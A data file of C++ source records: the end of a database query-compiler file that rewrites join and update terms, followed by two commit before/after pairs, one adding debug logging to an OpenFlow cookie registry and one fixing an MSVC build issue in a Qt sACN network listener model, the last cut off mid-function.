{\npublic:\n inner_join_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(3), rewrite) { }\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n const Term &left = in->args(0);\n const Term &right = in->args(1);\n const Term &func = in->args(2);\n auto n = pb::dummy_var_t::INNERJOIN_N;\n auto m = pb::dummy_var_t::INNERJOIN_M;\n\n r::reql_t term =\n r::expr(left).concat_map(\n r::fun(n,\n r::expr(right).concat_map(\n r::fun(m,\n r::branch(\n r::expr(func)(r::var(n), r::var(m)),\n r::array(r::object(\n r::optarg(\"left\", n), r::optarg(\"right\", m))),\n r::array())))));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n\n virtual const char *name() const { return \"inner_join\"; }\n};\n\nclass outer_join_term_t : public rewrite_term_t {\npublic:\n outer_join_term_t(compile_env_t *env, const protob_t<const Term> &term) :\n rewrite_term_t(env, term, argspec_t(3), rewrite) { }\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n const Term &left = in->args(0);\n const Term &right = in->args(1);\n const Term &func = in->args(2);\n auto n = pb::dummy_var_t::OUTERJOIN_N;\n auto m = pb::dummy_var_t::OUTERJOIN_M;\n auto lst = pb::dummy_var_t::OUTERJOIN_LST;\n\n r::reql_t inner_concat_map =\n r::expr(right).concat_map(\n r::fun(m,\n r::branch(\n r::expr(func)(n, m),\n r::array(r::object(r::optarg(\"left\", n), r::optarg(\"right\", m))),\n r::array())));\n\n r::reql_t term =\n r::expr(left).concat_map(\n r::fun(n,\n std::move(inner_concat_map).coerce_to(\"ARRAY\").do_(lst,\n r::branch(\n r::expr(lst).count() > 0,\n lst,\n r::array(r::object(r::optarg(\"left\", n)))))));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n\n virtual const char *name() const { return \"outer_join\"; }\n};\n\nclass eq_join_term_t : public rewrite_term_t {\npublic:\n eq_join_term_t(compile_env_t *env, const protob_t<const Term> &term) :\n rewrite_term_t(env, term, argspec_t(3), rewrite) { }\nprivate:\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n const Term &left = in->args(0);\n const Term &left_attr = in->args(1);\n const Term &right = in->args(2);\n\n auto row = pb::dummy_var_t::EQJOIN_ROW;\n auto v = pb::dummy_var_t::EQJOIN_V;\n\n r::reql_t get_all =\n r::expr(right).get_all(\n r::expr(left_attr)(row, r::optarg(\"_SHORTCUT_\", GET_FIELD_SHORTCUT)));\n get_all.copy_optargs_from_term(*optargs_in);\n return r::expr(left).concat_map(\n r::fun(row,\n r::branch(\n r::null() == row,\n r::array(),\n std::move(get_all).default_(r::array()).map(\n r::fun(v, r::object(r::optarg(\"left\", row),\n r::optarg(\"right\", v)))))));\n\n }\n virtual const char *name() const { return \"eq_join\"; }\n};\n\nclass delete_term_t : public rewrite_term_t {\npublic:\n delete_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(1), rewrite) { }\nprivate:\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n auto x = pb::dummy_var_t::IGNORED;\n\n r::reql_t term = r::expr(in->args(0)).replace(r::fun(x, r::null()));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n virtual const char *name() const { return \"delete\"; }\n};\n\nclass update_term_t : public rewrite_term_t {\npublic:\n update_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(2), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n auto old_row = pb::dummy_var_t::UPDATE_OLDROW;\n auto new_row = pb::dummy_var_t::UPDATE_NEWROW;\n\n r::reql_t term =\n r::expr(in->args(0)).replace(\n r::fun(old_row,\n r::branch(\n r::null() == old_row,\n r::null(),\n r::fun(new_row,\n r::branch(\n r::null() == new_row,\n old_row,\n r::expr(old_row).merge(new_row)))(\n r::expr(in->args(1))(old_row,\n r::optarg(\"_EVAL_FLAGS_\", LITERAL_OK)),\n r::optarg(\"_EVAL_FLAGS_\", LITERAL_OK)))));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n virtual const char *name() const { return \"update\"; }\n};\n\nclass skip_term_t : public rewrite_term_t {\npublic:\n skip_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(2), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n r::reql_t term =\n r::expr(in->args(0)).slice(in->args(1), -1,\n r::optarg(\"right_bound\", \"closed\"));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n virtual const char *name() const { return \"skip\"; }\n};\n\nclass difference_term_t : public rewrite_term_t {\npublic:\n difference_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(2), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n auto row = pb::dummy_var_t::DIFFERENCE_ROW;\n\n r::reql_t term =\n r::expr(in->args(0)).filter(\n r::fun(row,\n !r::expr(in->args(1)).contains(row)));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n\n virtual const char *name() const { return \"difference\"; }\n};\n\nclass with_fields_term_t : public rewrite_term_t {\npublic:\n with_fields_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(1, -1), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n\n r::reql_t has_fields = r::expr(in->args(0)).has_fields();\n has_fields.copy_args_from_term(*in, 1);\n has_fields.copy_optargs_from_term(*optargs_in);\n r::reql_t pluck = std::move(has_fields).pluck();\n pluck.copy_args_from_term(*in, 1);\n\n return pluck;\n }\n virtual const char *name() const { return \"with_fields\"; }\n};\n\ncounted_t<term_t> make_skip_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<skip_term_t>(env, term);\n}\ncounted_t<term_t> make_inner_join_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<inner_join_term_t>(env, term);\n}\ncounted_t<term_t> make_outer_join_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<outer_join_term_t>(env, term);\n}\ncounted_t<term_t> make_eq_join_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<eq_join_term_t>(env, term);\n}\ncounted_t<term_t> make_update_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<update_term_t>(env, term);\n}\ncounted_t<term_t> make_delete_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<delete_term_t>(env, term);\n}\ncounted_t<term_t> make_difference_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<difference_term_t>(env, term);\n}\ncounted_t<term_t> make_with_fields_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<with_fields_term_t>(env, term);\n}\n\n} \/\/ namespace ql\n<|endoftext|>"} {"text":"<commit_before>\/*\n * ccookies.hpp\n *\n * Created on: 19.11.2014\n * Author: andreas\n *\/\n\n#ifndef CCOOKIES_HPP_\n#define CCOOKIES_HPP_\n\n#include <inttypes.h>\n\n#include <rofl\/common\/crofdpt.h>\n#include <rofl\/common\/cauxid.h>\n#include <rofl\/common\/crandom.h>\n#include <rofl\/common\/openflow\/messages\/cofmsg_packet_in.h>\n#include <rofl\/common\/openflow\/messages\/cofmsg_flow_removed.h>\n\nnamespace roflibs {\nnamespace common {\nnamespace openflow {\n\nclass ccookiebox; \/\/ forward declaration, see below\n\nclass ccookie_owner {\npublic:\n\n\t\/**\n\t *\n\t *\/\n\tvirtual\n\t~ccookie_owner();\n\npublic:\n\n\t\/**\n\t *\n\t *\/\n\tuint64_t\n\tacquire_cookie();\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\trelease_cookie(uint64_t cookie);\n\nprotected:\n\n\tfriend class ccookiebox;\n\n\t\/**\n\t *\n\t *\/\n\tvirtual void\n\thandle_packet_in(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_packet_in& msg) = 0;\n\n\t\/**\n\t *\n\t *\/\n\tvirtual void\n\thandle_flow_removed(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_flow_removed& msg) = 0;\n};\n\n\n\nclass ccookie_find_by_owner {\n\tccookie_owner* owner;\npublic:\n\tccookie_find_by_owner(ccookie_owner* owner) :\n\t\towner(owner) {};\n\tbool operator() (const std::pair<uint64_t, ccookie_owner*>& p) {\n\t\treturn (p.second == owner);\n\t};\n};\n\n\n\nclass ccookiebox {\nprivate:\n\n\tstatic ccookiebox* \t\t\t\t\tcookiebox;\n\tuint64_t \t\t\t\t\t\t\tnext_cookie;\n\tstd::map<uint64_t, ccookie_owner*> \tcookiestore;\n\tccookiebox() : next_cookie(rofl::crandom(8).uint64()) {};\n\t~ccookiebox() {};\n\npublic:\n\n\t\/**\n\t *\n\t *\/\n\tstatic ccookiebox&\n\tget_instance() {\n\t\tif ((ccookiebox*)0 == ccookiebox::cookiebox) {\n\t\t\tccookiebox::cookiebox = new ccookiebox();\n\t\t}\n\t\treturn *(ccookiebox::cookiebox);\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\thandle_packet_in(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_packet_in& msg) {\n\t\tif (cookiestore.find(msg.get_cookie()) == cookiestore.end()) {\n\t\t\treturn;\n\t\t}\n\t\tcookiestore[msg.get_cookie()]->handle_packet_in(dpt, auxid, msg);\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\thandle_flow_removed(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_flow_removed& msg) {\n\t\tif (cookiestore.find(msg.get_cookie()) == cookiestore.end()) {\n\t\t\treturn;\n\t\t}\n\t\tcookiestore[msg.get_cookie()]->handle_flow_removed(dpt, auxid, msg);\n\t};\n\nprivate:\n\n\tfriend class ccookie_owner;\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\tderegister_cookie_owner(ccookie_owner* owner) {\n\t\tstd::map<uint64_t, ccookie_owner*>::iterator it;\n\t\twhile ((it = find_if(cookiestore.begin(), cookiestore.end(),\n\t\t\t\tccookie_find_by_owner(owner))) != cookiestore.end()) {\n\t\t\tcookiestore.erase(it);\n\t\t}\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tuint64_t\n\tacquire_cookie(ccookie_owner* owner) {\n\t\tdo {\n\t\t\tnext_cookie++;\n\t\t} while (cookiestore.find(next_cookie) != cookiestore.end());\n\t\tcookiestore[next_cookie] = owner;\n\t\treturn next_cookie;\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\trelease_cookie(ccookie_owner* owner, uint64_t cookie) {\n\t\tif (cookiestore.find(cookie) == cookiestore.end()) {\n\t\t\treturn;\n\t\t}\n\t\tif (cookiestore[cookie] != owner) {\n\t\t\treturn;\n\t\t}\n\t\tcookiestore.erase(cookie);\n\t};\n};\n\n}; \/\/ end of namespace openflow\n}; \/\/ end of namespace common\n}; \/\/ end of namespace roflibs\n\n#endif \/* CCOOKIES_HPP_ *\/\n<commit_msg>ccookiebox => added more debug output<commit_after>\/*\n * ccookies.hpp\n *\n * Created on: 19.11.2014\n * Author: andreas\n *\/\n\n#ifndef CCOOKIES_HPP_\n#define CCOOKIES_HPP_\n\n#include <inttypes.h>\n\n#include <rofl\/common\/crofdpt.h>\n#include <rofl\/common\/cauxid.h>\n#include <rofl\/common\/crandom.h>\n#include <rofl\/common\/openflow\/messages\/cofmsg_packet_in.h>\n#include <rofl\/common\/openflow\/messages\/cofmsg_flow_removed.h>\n\n#include \"roflibs\/netlink\/clogging.hpp\"\n\nnamespace roflibs {\nnamespace common {\nnamespace openflow {\n\nclass ccookiebox; \/\/ forward declaration, see below\n\nclass ccookie_owner {\npublic:\n\n\t\/**\n\t *\n\t *\/\n\tvirtual\n\t~ccookie_owner();\n\npublic:\n\n\t\/**\n\t *\n\t *\/\n\tuint64_t\n\tacquire_cookie();\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\trelease_cookie(uint64_t cookie);\n\nprotected:\n\n\tfriend class ccookiebox;\n\n\t\/**\n\t *\n\t *\/\n\tvirtual void\n\thandle_packet_in(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_packet_in& msg) = 0;\n\n\t\/**\n\t *\n\t *\/\n\tvirtual void\n\thandle_flow_removed(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_flow_removed& msg) = 0;\n};\n\n\n\nclass ccookie_find_by_owner {\n\tccookie_owner* owner;\npublic:\n\tccookie_find_by_owner(ccookie_owner* owner) :\n\t\towner(owner) {};\n\tbool operator() (const std::pair<uint64_t, ccookie_owner*>& p) {\n\t\treturn (p.second == owner);\n\t};\n};\n\n\n\nclass ccookiebox {\nprivate:\n\n\tstatic ccookiebox* \t\t\t\t\tcookiebox;\n\tuint64_t \t\t\t\t\t\t\tnext_cookie;\n\tstd::map<uint64_t, ccookie_owner*> \tcookiestore;\n\tccookiebox() : next_cookie(rofl::crandom(8).uint64()) {};\n\t~ccookiebox() {};\n\npublic:\n\n\t\/**\n\t *\n\t *\/\n\tstatic ccookiebox&\n\tget_instance() {\n\t\tif ((ccookiebox*)0 == ccookiebox::cookiebox) {\n\t\t\tccookiebox::cookiebox = new ccookiebox();\n\t\t}\n\t\treturn *(ccookiebox::cookiebox);\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\thandle_packet_in(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_packet_in& msg) {\n\t\tif (cookiestore.find(msg.get_cookie()) == cookiestore.end()) {\n\t\t\trofcore::logging::debug << \"[ccookiebox][handle_packet_in] cookie:\" << (unsigned long long)msg.get_cookie()\n\t\t\t\t\t<< \" not found, dropping packet\" << std::endl;\n\t\t\treturn;\n\t\t}\n\t\tcookiestore[msg.get_cookie()]->handle_packet_in(dpt, auxid, msg);\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\thandle_flow_removed(\n\t\t\trofl::crofdpt& dpt, const rofl::cauxid& auxid, rofl::openflow::cofmsg_flow_removed& msg) {\n\t\tif (cookiestore.find(msg.get_cookie()) == cookiestore.end()) {\n\t\t\trofcore::logging::debug << \"[ccookiebox][handle_flow_removed] cookie:\" << (unsigned long long)msg.get_cookie()\n\t\t\t\t\t<< \" not found, dropping packet\" << std::endl;\n\t\t\treturn;\n\t\t}\n\t\tcookiestore[msg.get_cookie()]->handle_flow_removed(dpt, auxid, msg);\n\t};\n\nprivate:\n\n\tfriend class ccookie_owner;\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\tderegister_cookie_owner(ccookie_owner* owner) {\n\t\tstd::map<uint64_t, ccookie_owner*>::iterator it;\n\t\twhile ((it = find_if(cookiestore.begin(), cookiestore.end(),\n\t\t\t\tccookie_find_by_owner(owner))) != cookiestore.end()) {\n\t\t\tcookiestore.erase(it);\n\t\t}\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tuint64_t\n\tacquire_cookie(ccookie_owner* owner) {\n\t\tdo {\n\t\t\tnext_cookie++;\n\t\t} while (cookiestore.find(next_cookie) != cookiestore.end());\n\t\tcookiestore[next_cookie] = owner;\n\t\treturn next_cookie;\n\t};\n\n\t\/**\n\t *\n\t *\/\n\tvoid\n\trelease_cookie(ccookie_owner* owner, uint64_t cookie) {\n\t\tif (cookiestore.find(cookie) == cookiestore.end()) {\n\t\t\treturn;\n\t\t}\n\t\tif (cookiestore[cookie] != owner) {\n\t\t\treturn;\n\t\t}\n\t\tcookiestore.erase(cookie);\n\t};\n};\n\n}; \/\/ end of namespace openflow\n}; \/\/ end of namespace common\n}; \/\/ end of namespace roflibs\n\n#endif \/* CCOOKIES_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2016 Tom Barthel-Steer\n\/\/ http:\/\/www.tomsteer.net\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"sacnuniverselistmodel.h\"\n#include <QDebug>\n#include <QNetworkInterface>\n#include \"streamingacn.h\"\n#include \"streamcommon.h\"\n#include \"ipaddr.h\"\n#include \"preferences.h\"\n#include \"sacnsocket.h\"\n#include \"consts.h\"\n\nsACNUniverseInfo::sACNUniverseInfo(int u)\n{\n universe = u;\n}\n\nsACNUniverseInfo::~sACNUniverseInfo()\n{\n qDeleteAll(sources);\n sources.clear();\n sourcesByCid.clear();\n}\n\nsACNBasicSourceInfo::sACNBasicSourceInfo(sACNUniverseInfo *p)\n{\n parent = p;\n}\n\n\nsACNUniverseListModel::sACNUniverseListModel(QObject *parent) : QAbstractItemModel(parent)\n{\n m_start = MIN_SACN_UNIVERSE;\n\n setStartUniverse(m_start);\n\n m_checkTimeoutTimer = new QTimer(this);\n connect(m_checkTimeoutTimer, SIGNAL(timeout()), this, SLOT(checkTimeouts()));\n m_checkTimeoutTimer->start(5000);\n}\n\nvoid sACNUniverseListModel::setStartUniverse(int start)\n{\n QMutexLocker locker(&mutex_readPendingDatagrams);\n\n QNetworkInterface iface = Preferences::getInstance()->networkInterface();\n\n \/\/ Limit max value\n static const int startMax = (MAX_SACN_UNIVERSE - NUM_UNIVERSES_LISTED) + 1;\n if (start > startMax) start = startMax;\n\n beginResetModel();\n\n qDeleteAll(m_universes);\n m_universes.clear();\n\n \/\/ Destroy all old sockets\n qDeleteAll(m_sockets);\n m_sockets.clear();\n\n \/\/ Listen unicast\n m_sockets.push_back(new sACNRxSocket(this));\n m_sockets.back()->bindUnicast();\n connect(m_sockets.back(), SIGNAL(readyRead()), this, SLOT(readPendingDatagrams()));\n\n \/\/ Listen multicast\n m_start = start;\n for(int universe=m_start; universe<m_start+NUM_UNIVERSES_LISTED; universe++)\n {\n CIPAddr addr;\n GetUniverseAddress(universe, addr);\n\n m_sockets.push_back(new sACNRxSocket(this));\n m_sockets.back()->bindMulticast(universe);\n connect(m_sockets.back(), SIGNAL(readyRead()), this, SLOT(readPendingDatagrams()));\n\n m_universes << new sACNUniverseInfo(universe);\n }\n\n endResetModel();\n}\n\n\nint sACNUniverseListModel::rowCount(const QModelIndex &parent) const\n{\n if(parent.isValid() && parent.internalPointer()==NULL)\n {\n return m_universes[parent.row()]->sources.count();\n\n }\n if(!parent.isValid())\n {\n return m_universes.count();\n }\n\n return 0;\n}\n\nint sACNUniverseListModel::columnCount(const QModelIndex &parent) const\n{\n Q_UNUSED(parent);\n return 1;\n}\n\nQVariant sACNUniverseListModel::data(const QModelIndex &index, int role) const\n{\n if(role==Qt::DisplayRole)\n {\n if(index.parent().isValid())\n {\n sACNBasicSourceInfo *info = (sACNBasicSourceInfo *) index.internalPointer();\n return tr(\"%1 (%2)\").arg(info->name).arg(info->address.toString());\n }\n else\n return QVariant(tr(\"Universe %1\").arg(index.row() + m_start));\n }\n return QVariant();\n}\n\nQModelIndex sACNUniverseListModel::index(int row, int column, const QModelIndex &parent) const\n{\n if(!hasIndex(row, column, parent))\n return QModelIndex();\n if(!parent.isValid()) \/\/ This is a root item\n return createIndex(row, column);\n if(parent.isValid() && !parent.parent().isValid())\n {\n if(m_universes[parent.row()]->sources.count() >= row)\n {\n return createIndex(row, column, m_universes[parent.row()]->sources.at(row));\n }\n }\n\n return QModelIndex();\n}\n\nQModelIndex sACNUniverseListModel::parent(const QModelIndex &index) const\n{\n if(!index.isValid())\n return QModelIndex();\n\n sACNBasicSourceInfo *i = static_cast<sACNBasicSourceInfo *>(index.internalPointer());\n if(i)\n {\n int parentRow = i->parent->universe - m_start;\n return createIndex(parentRow, 0);\n }\n\n return QModelIndex();\n}\n\nvoid sACNUniverseListModel::readPendingDatagrams()\n{\n QMutexLocker locker(&mutex_readPendingDatagrams);\n\n \/\/ Check all sockets\n foreach (sACNRxSocket* m_socket, m_sockets)\n {\n while(m_socket->hasPendingDatagrams())\n {\n QByteArray datagram;\n datagram.resize(m_socket->pendingDatagramSize());\n QHostAddress sender;\n quint16 senderPort;\n\n m_socket->readDatagram(datagram.data(), datagram.size(),\n &sender, &senderPort);\n\n \/\/ Process the data\n CID source_cid;\n uint1 start_code;\n uint1 sequence;\n uint2 universe;\n uint2 slot_count;\n uint1* pdata;\n char source_name [SOURCE_NAME_SIZE];\n uint1 priority;\n \/\/These only apply to the ratified version of the spec, so we will hardwire\n \/\/them to be 0 just in case they never get set.\n uint2 reserved = 0;\n uint1 options = 0;\n uint1 *pbuf = (uint1*)datagram.data();\n\n if(!ValidateStreamHeader(pbuf, datagram.length(), source_cid, source_name, priority,\n start_code, reserved, sequence, options, universe, slot_count, pdata))\n {\n \/\/ Recieved a packet but not valid. Log and discard\n qDebug() << \"Invalid Packet\";\n continue;\n }\n\n sACNBasicSourceInfo *info = 0;\n int univIndex = universe - m_start;\n if (\n (univIndex > m_universes.count())\n or (univIndex < 0)\n ) { continue; }\n\n if(!m_universes[univIndex]->sourcesByCid.contains(source_cid))\n {\n info = new sACNBasicSourceInfo(m_universes[univIndex]);\n info->cid = source_cid;\n }\n else\n {\n info = m_universes[univIndex]->sourcesByCid.value(source_cid);\n info->timeout.restart();\n }\n\n info->address = sender;\n info->name = source_name;\n\n if(!m_universes[univIndex]->sourcesByCid.contains(source_cid))\n {\n \/\/ We are adding the source for this universe\n QModelIndex parent = index(m_start - universe, 0);\n int firstRow = m_universes[univIndex]->sources.count()+1;\n int lastRow = firstRow;\n beginInsertRows(parent, firstRow, lastRow);\n m_universes[univIndex]->sources << info;\n m_universes[univIndex]->sourcesByCid[source_cid] = info;\n endInsertRows();\n }\n\n }\n }\n}\n\nvoid sACNUniverseListModel::checkTimeouts()\n{\n foreach(sACNUniverseInfo *info, m_universes)\n {\n for(int row=0; row<info->sources.count(); row++)\n {\n sACNBasicSourceInfo *source = info->sources[row];\n if(source->timeout.elapsed() > 5000)\n {\n beginRemoveRows( createIndex(info->universe - m_start, 0),\n row, row);\n info->sources.removeAll(source);\n info->sourcesByCid.remove(source->cid);\n delete source;\n endRemoveRows();\n }\n }\n }\n}\n\nint sACNUniverseListModel::indexToUniverse(const QModelIndex &index)\n{\n if(!index.isValid())\n return 0;\n\n if(index.internalPointer()==NULL)\n {\n \/\/ root item\n return m_start + index.row();\n }\n\n sACNBasicSourceInfo *i = static_cast<sACNBasicSourceInfo *>(index.internalPointer());\n if(i)\n {\n return i->parent->universe;\n }\n\n return 0;\n}\n<commit_msg>Fix the build for MSVC<commit_after>\/\/ Copyright 2016 Tom Barthel-Steer\n\/\/ http:\/\/www.tomsteer.net\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"sacnuniverselistmodel.h\"\n#include <QDebug>\n#include <QNetworkInterface>\n#include \"streamingacn.h\"\n#include \"streamcommon.h\"\n#include \"ipaddr.h\"\n#include \"preferences.h\"\n#include \"sacnsocket.h\"\n#include \"consts.h\"\n\nsACNUniverseInfo::sACNUniverseInfo(int u)\n{\n universe = u;\n}\n\nsACNUniverseInfo::~sACNUniverseInfo()\n{\n qDeleteAll(sources);\n sources.clear();\n sourcesByCid.clear();\n}\n\nsACNBasicSourceInfo::sACNBasicSourceInfo(sACNUniverseInfo *p)\n{\n parent = p;\n}\n\n\nsACNUniverseListModel::sACNUniverseListModel(QObject *parent) : QAbstractItemModel(parent)\n{\n m_start = MIN_SACN_UNIVERSE;\n\n setStartUniverse(m_start);\n\n m_checkTimeoutTimer = new QTimer(this);\n connect(m_checkTimeoutTimer, SIGNAL(timeout()), this, SLOT(checkTimeouts()));\n m_checkTimeoutTimer->start(5000);\n}\n\nvoid sACNUniverseListModel::setStartUniverse(int start)\n{\n QMutexLocker locker(&mutex_readPendingDatagrams);\n\n QNetworkInterface iface = Preferences::getInstance()->networkInterface();\n\n \/\/ Limit max value\n static const int startMax = (MAX_SACN_UNIVERSE - NUM_UNIVERSES_LISTED) + 1;\n if (start > startMax) start = startMax;\n\n beginResetModel();\n\n qDeleteAll(m_universes);\n m_universes.clear();\n\n \/\/ Destroy all old sockets\n qDeleteAll(m_sockets);\n m_sockets.clear();\n\n \/\/ Listen unicast\n m_sockets.push_back(new sACNRxSocket(this));\n m_sockets.back()->bindUnicast();\n connect(m_sockets.back(), SIGNAL(readyRead()), this, SLOT(readPendingDatagrams()));\n\n \/\/ Listen multicast\n m_start = start;\n for(int universe=m_start; universe<m_start+NUM_UNIVERSES_LISTED; universe++)\n {\n CIPAddr addr;\n GetUniverseAddress(universe, addr);\n\n m_sockets.push_back(new sACNRxSocket(this));\n m_sockets.back()->bindMulticast(universe);\n connect(m_sockets.back(), SIGNAL(readyRead()), this, SLOT(readPendingDatagrams()));\n\n m_universes << new sACNUniverseInfo(universe);\n }\n\n endResetModel();\n}\n\n\nint sACNUniverseListModel::rowCount(const QModelIndex &parent) const\n{\n if(parent.isValid() && parent.internalPointer()==NULL)\n {\n return m_universes[parent.row()]->sources.count();\n\n }\n if(!parent.isValid())\n {\n return m_universes.count();\n }\n\n return 0;\n}\n\nint sACNUniverseListModel::columnCount(const QModelIndex &parent) const\n{\n Q_UNUSED(parent);\n return 1;\n}\n\nQVariant sACNUniverseListModel::data(const QModelIndex &index, int role) const\n{\n if(role==Qt::DisplayRole)\n {\n if(index.parent().isValid())\n {\n sACNBasicSourceInfo *info = (sACNBasicSourceInfo *) index.internalPointer();\n return tr(\"%1 (%2)\").arg(info->name).arg(info->address.toString());\n }\n else\n return QVariant(tr(\"Universe %1\").arg(index.row() + m_start));\n }\n return QVariant();\n}\n\nQModelIndex sACNUniverseListModel::index(int row, int column, const QModelIndex &parent) const\n{\n if(!hasIndex(row, column, parent))\n return QModelIndex();\n if(!parent.isValid()) \/\/ This is a root item\n return createIndex(row, column);\n if(parent.isValid() && !parent.parent().isValid())\n {\n if(m_universes[parent.row()]->sources.count() >= row)\n {\n return createIndex(row, column, m_universes[parent.row()]->sources.at(row));\n }\n }\n\n return QModelIndex();\n}\n\nQModelIndex sACNUniverseListModel::parent(const QModelIndex &index) const\n{\n if(!index.isValid())\n return QModelIndex();\n\n sACNBasicSourceInfo *i = static_cast<sACNBasicSourceInfo *>(index.internalPointer());\n if(i)\n {\n int parentRow = i->parent->universe - m_start;\n return createIndex(parentRow, 0);\n }\n\n return QModelIndex();\n}\n\nvoid sACNUniverseListModel::readPendingDatagrams()\n{\n QMutexLocker locker(&mutex_readPendingDatagrams);\n\n \/\/ Check all sockets\n foreach (sACNRxSocket* m_socket, m_sockets)\n {\n while(m_socket->hasPendingDatagrams())\n {\n QByteArray datagram;\n datagram.resize(m_socket->pendingDatagramSize());\n QHostAddress sender;\n quint16 senderPort;\n\n m_socket->readDatagram(datagram.data(), datagram.size(),\n &sender, &senderPort);\n\n \/\/ Process the data\n CID source_cid;\n uint1 start_code;\n uint1 sequence;\n uint2 universe;\n uint2 slot_count;\n uint1* pdata;\n char source_name [SOURCE_NAME_SIZE];\n uint1 priority;\n \/\/These only apply to the ratified version of the spec, so we will hardwire\n \/\/them to be 0 just in case they never get set.\n uint2 reserved = 0;\n uint1 options = 0;\n uint1 *pbuf = (uint1*)datagram.data();\n\n if(!ValidateStreamHeader(pbuf, datagram.length(), source_cid, source_name, priority,\n start_code, reserved, sequence, options, universe, slot_count, pdata))\n {\n \/\/ Recieved a packet but not valid. Log and discard\n qDebug() << \"Invalid Packet\";\n continue;\n }\n\n sACNBasicSourceInfo *info = 0;\n int univIndex = universe - m_start;\n if (\n (univIndex > m_universes.count())\n || (univIndex < 0)\n ) { continue; }\n\n if(!m_universes[univIndex]->sourcesByCid.contains(source_cid))\n {\n info = new sACNBasicSourceInfo(m_universes[univIndex]);\n info->cid = source_cid;\n }\n else\n {\n info = m_universes[univIndex]->sourcesByCid.value(source_cid);\n info->timeout.restart();\n }\n\n info->address = sender;\n info->name = source_name;\n\n if(!m_universes[univIndex]->sourcesByCid.contains(source_cid))\n {\n \/\/ We are adding the source for this universe\n QModelIndex parent = index(m_start - universe, 0);\n int firstRow = m_universes[univIndex]->sources.count()+1;\n int lastRow = firstRow;\n beginInsertRows(parent, firstRow, 